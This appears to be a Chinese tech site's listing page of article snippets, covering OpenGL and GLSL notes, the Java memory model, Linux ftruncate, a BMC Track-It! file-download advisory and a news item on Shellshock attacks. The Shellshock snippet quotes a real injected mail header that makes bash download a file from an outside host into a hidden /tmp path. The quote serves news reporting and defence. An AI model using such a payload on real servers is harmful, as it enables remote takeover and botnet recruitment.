Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器 软件资源

软件开发小程序制作系统集成与运维空间租用硬件开发视频监控技术咨询与支持——联系电话:0311-88999002/88999003

首页 / 操作系统 / Linux

OpenGL超级宝典学习笔记——深度纹理和阴影

OpenGL超级宝典学习笔记——深度纹理和阴影

之前我们介绍过简单的把物体压平到投影平面来制造阴影。但这种阴影方式有其局限性(如投影平面须是平面)。在OpenGL1.4引入了一种新的方法阴影贴图来产生阴影。阴影贴图背后的原理是简单的。我们先把光源的位置当作照相机的位置,我们从这个位置观察物体,我们就知道哪些物体的表面是被照射到(被光源看到)的,哪些是没有被照射到(被遮挡住)的(在某个方向上离光源最近的表面是被照射的,后面的表面则没有被照射到)。我们开启深度测试,这样我们就可以得到一个有用的深度缓冲区数据...
OpenGL超级宝典学习笔记——新的模式

OpenGL超级宝典学习笔记——新的模式

在传统上,图形硬件设计的目标是快速地执行相同的硬编译的计算指令集。计算的步骤可以被跳过,参数可以被调整,但计算本身却是固定的。所以旧式的GPU设计被称为是“固定功能”的。现在的趋势是朝着通用图形处理器的方向发展。就像CPU一样,GPU也可以用任意的指令序列来执行图形计算。GPU和CPU最大的区别是,GPU的浮点数计算能力更强。在OpenGL2.0之前是固定函数渲染管线,在OpenGL2.0之后就是可编程函数渲染管线了。走出旧的模式在...
OpenGL超级宝典学习笔记——GLSL语言基础

OpenGL超级宝典学习笔记——GLSL语言基础

变量GLSL的变量命名方式与C语言类似。变量的名称可以使用字母,数字以及下划线,但变量名不能以数字开头,还有变量名不能以gl_作为前缀,这个是GLSL保留的前缀,用于GLSL的内部变量。当然还有一些GLSL保留的名称是不能够作为变量的名称的。基本类型除了布尔型,整型,浮点型基本类型外,GLSL还引入了一些在着色器中经常用到的类型作为基本类型。这些基本类型都可以作为结构体内部的类型。如下表:类型描述void跟C语言的void类似,表示空类型。作为函数的返回类...
OpenGL超级宝典学习笔记——顶点着色器示例

OpenGL超级宝典学习笔记——顶点着色器示例

以下内容只针对GLSL1.20的版本进行说明的,有些内置的变量在1.20之后,已经被废弃了。初次实验每个顶点着色器都至少输出一个裁剪空间的位置坐标。光照、纹理坐标的生成和其他的一些操作是可选的。例如,你要创建了深度纹理,那你只需要最终的深度值,你就没必要在着色器中处理颜色和纹理坐标,也不需要输出它们。但至少需要输出裁剪空间的坐标给后面的图元组装和光栅化。如果不输出任何东西,行为将是未定义的。如果要让颜色在后面的管道中可见,则至少要把输入的颜色拷贝到输出颜色...
OpenGL超级宝典学习笔记——片段着色器(二)

OpenGL超级宝典学习笔记——片段着色器(二)

图像处理图像处理是一种独立于顶点着色器的特殊处理程序。在不使用片段着色器的情况下绘制场景之后,可以按照各种方式应用卷积核。为了保持着色器的简洁,使用硬件加速,我们限制总卷积的大小为3X3.在示例程序中,调用glCopyTexIamge2D把帧缓冲区拷贝到纹理中。纹理的大下为小于窗口的2的最大N次方值(在2.0中则没有这个限制)。然后在窗口的中间绘制一个片段着色的四边形,大小与这个纹理相同,其纹理坐标从左下角(0,0)到右上角(1,1)。片段着色器基于纹理坐...
Numara/BMC Track-It! /TrackItWeb/Attachment页任意文件下载漏洞

Numara/BMC Track-It! /TrackItWeb/Attachment页任意文件下载漏洞

发布日期:2014-10-21更新日期:2014-10-26受影响系统:BMC Track-It! 11.3.0.355描述:CVE(CAN) ID: CVE-2014-4874BMC Track-It!是集成的IT帮助桌面和资产管理解决方案。BMC Track-It! 11.3.0.355版本/TrackItWeb/Attachment页在实现上存在任意文件下载漏洞,经过身份验证的远程用户利用此漏洞可下载任意文件。<*来源:Pedro Ribeir...
简述Java内存模型的由来、概念及语义

简述Java内存模型的由来、概念及语义

JDK5引入了JMM新规范:JSR-133,引入了happens-before/可见性等概念,对synchronized/volatile/final等关键词进行了语义定义。解决了:final变量在构造器中初始化的线程安全问题以及volatile变量与no-volatile变量之间的重排序问题。为什么需要Memory Model在多线程的场景下,thread1修改了一个变量后,thread2要读取这个变量,其间可能会发生指令执行顺序的问题(因为编译器优化指...
攻击者利用Shellshock漏洞入侵邮件服务器

攻击者利用Shellshock漏洞入侵邮件服务器

攻击者正利用上个月披露的Shellshock漏洞入侵邮件服务器建立僵尸网络。Shellshock漏洞是指攻击者向使用bash的Unix/Linux服务器发送精心构造的请求,诱骗bash远程执行命令。安全研究人员报告,攻击者向邮件服务器发送特定的消息头字段,诱骗服务器执行一个 Perl脚本,成为僵尸网络的一部分。邮件消息头的构成是: Message-ID:() { :; };wget -O /tmp/.legend hxxp://190-94-251-41/...
Linux C ftruncate 函数清空文件注意事项(要使用 lseek 重置偏移量)

Linux C ftruncate 函数清空文件注意事项(要使用 lseek 重置偏移量)

之前有个要把打开的文件清空,然后重新写入的需求,但是使用 ftruncate(fd, 0)后,并没有达到效果,反而文件头部有了"",长度比预想的大了。究其原因是没有使用 lseek 重置文件偏移量,是我太天真了,以为清空文件就会从头开始写入。------------------------------------- 我是解释分割线 --------------------------------------首先 man ftruncate 看下帮助手册NA...
<< 2251 2252 2253 2254 2255 2256 2257 2258 2259 2260 >>